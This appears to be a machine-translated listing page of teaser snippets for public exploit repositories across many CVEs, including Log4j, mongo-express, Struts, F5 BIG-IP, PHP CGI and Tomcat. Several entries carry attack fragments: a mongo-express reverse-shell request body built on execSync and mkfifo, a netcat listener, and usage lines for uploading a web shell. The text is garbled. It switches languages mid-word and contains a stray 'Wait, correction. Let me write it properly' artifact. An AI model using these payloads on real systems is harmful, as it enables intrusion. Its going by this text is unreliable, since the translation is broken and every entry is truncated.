CVE-2021-40539

CVE-2021-40539 CVE-2021-40539 : Vulnérabilité RCE dans ADSelfService Plus 1 : Description de la vulnérabilité ZOHO ManageEngine ADSelfService Plus est une solution intégrée de gestion de mots de passe en libre-service et d'authentification unique pour Active Directory et les applications cloud de...

Log4J-CVE-2021-44228-RCE

Exploit Log4J CVE-2021-44228 avec exécution de commande Exploit interactif, exécutez simplement : ./exploit.sh...

CVE-2021-40539

CVE-2021-40539 CVE-2021-40539 : Vulnérabilité RCE dans ADSelfService Plus 一：Description de la vulnérabilité ZOHO ManageEngine ADSelfService Plus est la solution intégrée de gestion de mots de passe en libre-service et d'authentification unique de la société ZOHO pour Active Directory et les...

CVE-2024-23692

Reproduction de la vulnérabilité RCE non authentifiée de Rejetto HTTP File Server HFS CVE-2024-23692 Introduction Rejetto HTTP File Server HFS est un serveur de fichiers HTTP léger, largement utilisé pour le partage et le transfert de fichiers. La vulnérabilité CVE-2024-23692 est une vulnérabilit...

CVE-2019-10758

CVE-2019-10758 mongo-express exécution de code à distance, voici le code du shell inversé : CORPS DE LA REQUÊTE POST 1 : document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CORPS DE LA REQUÊTE POST 2 :...

lenovo_exec

lenovoexec CVE-2022-3699 avec capacité d'exécution de code noyau arbitraire exploit original : https://github.com/alfarom256/CVE-2022-3699...

cve-2022-29464

cve-2022-29464 Avertissement root@kitploit: 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 Utilisation root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp Peut...

CVE-2025-55182

CVE-2025-55182 - React2Shell PoC Un exploit de preuve de概念 pour CVE-2025-55182, une vulnérabilité critique CVSS 10.0 d'exécution de code à distance non authentifiée dans React Server Components. Wait, correction. Let me write it properly: CVE-2025-55182 - React2Shell PoC Un exploit de preuve de...

CVE-2018-11776

CVE-2018-11776 Среда для CVE-2018-11776 / S2-057 Демонстрация Запуск сервера root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Эксплуатация root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080...

cve-2021-44228-log4j-exploits

Reproduction de CVE-2021-4428 Cette démo est une reproduction de la vulnérabilité RCE Log4j2 à très haut risque CVE-2021-4428, dont le but est de comprendre la dangerosité de cette faille et de mettre en place des défenses adaptées à votre système. Avertissement Cette démo est uniquement destinée...

capsule

Capsule Pour commencer • Documentation • Problèmes • Contribuer Aperçu Capsule est un runtime pour exécuter du code non fiable dans des environnements isolés. Chaque tâche s'exécute dans son propre bac à sable WebAssembly, offrant : Exécution isolée : chaque tâche s'exécute isolée de votre systèm...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Exécution de code à distance non authentifiée dans Oracle WebLogic Vulnérabilité dans le composant Oracle WebLogic Server d'Oracle Fusion Middleware sous-composant : Web Services. Les versions prises en charge qui sont affectées sont 10.3.6.0.0 et 12.1.3.0.0. Une vulnérabilité...

CVE-2019-11932-SupportApp

CVE-2019-11932-SupportApp Ce fichier de code natif vise à être complémentaire à l'exploit RCE WhatsApp GIF publié par Awakened, en calculant l'adresse de la fonction system et l'adresse du gadget ROP pour différents types d'appareils, qui peuvent ensuite être utilisés pour exploiter avec succès l...

CVE-2023-49314

CVE-2023-49314 Asana Desktop 2.1.0 на macOS допускает внедрение кода из-за специфических Electron Fuses. Отсутствует адекватная защита от внедрения кода через такие настройки, как RunAsNode и enableNodeCliInspectArguments, и, таким образом, electroniz3r может быть использован для выполнения атаки...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 Произвольная загрузка файлов / RCE CVE-2019-12169 Название эксплойта: ATutor 2.2.4 Произвольная загрузка файлов / RCE CVE-2019-12169 Дата: 5/24/19 Автор эксплойта: liquidsky JMcPeters Домашняя страница вендора: https://atutor.github.io/ Ссылка на ПО:...

CVE-2023-49313

CVE-2023-49313 Une vulnérabilité d'injection de dylib dans XMachOViewer 0.04 permet à des attaquants de compromettre l'intégrité. En exploitant cette faille, du code non autorisé peut être injecté dans les processus du produit, ce qui peut potentiellement conduire à un contrôle à distance et à un...

CVE-2024-4577

🚀 CVE-2024-4577 : Scanneur et Exploit d'injection d'arguments PHP CGI 🛡️ Aperçu CVE-2024-4577 est une vulnérabilité critique affectant les applications PHP qui utilisent l'interface CGI Common Gateway Interface. Cet outil sert à la fois de scanner et d'exploit , permettant aux professionnels de la...

CVE-2025-49223-BillboardJS-PoC

💥 CVE-2025-49223 - Pollution de prototype dans Billboard.js Il a été découvert que billboard.js avant la version 3.15.1 contient une pollution de prototype via la fonction generate, ce qui pourrait permettre à des attaquants d'exécuter du code arbitraire ou de provoquer un déni de service DoS en...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell, et Exportation Automatique de PCAP -- POUR USAGE ÉDUCATIF UNIQUEMENT -- L'auteur n'est pas responsable et ne peut être tenu pour responsable de toute action entreprise avec quelque aspect que ce soit de ce projet/dépôt. J'ai créé cela dans le but de comprendre...

CVE-2024-50379-POC

CVE-2024-50379 악용 및 POC 이 저장소는 Apache Tomcat에 영향을 미치는 취약점인 CVE-2024-50379 에 대한 개념 증명POC을 포함합니다. 이 문제는 TOCTOUTime-of-Check Time-of-Use 경쟁 조건 과 관련되어 있으며, 특히 Windows와 같은 대소문자를 구분하지 않는 파일 시스템에서 원격 코드 실행RCE으로 이어질 수 있습니다. 목차 설명 POC 사용 방법 보안 고려 사항 라이선스 설명 CVE-2024-50379는 Apache Tomcat의 취약점으로, 공격자가 TOCTO...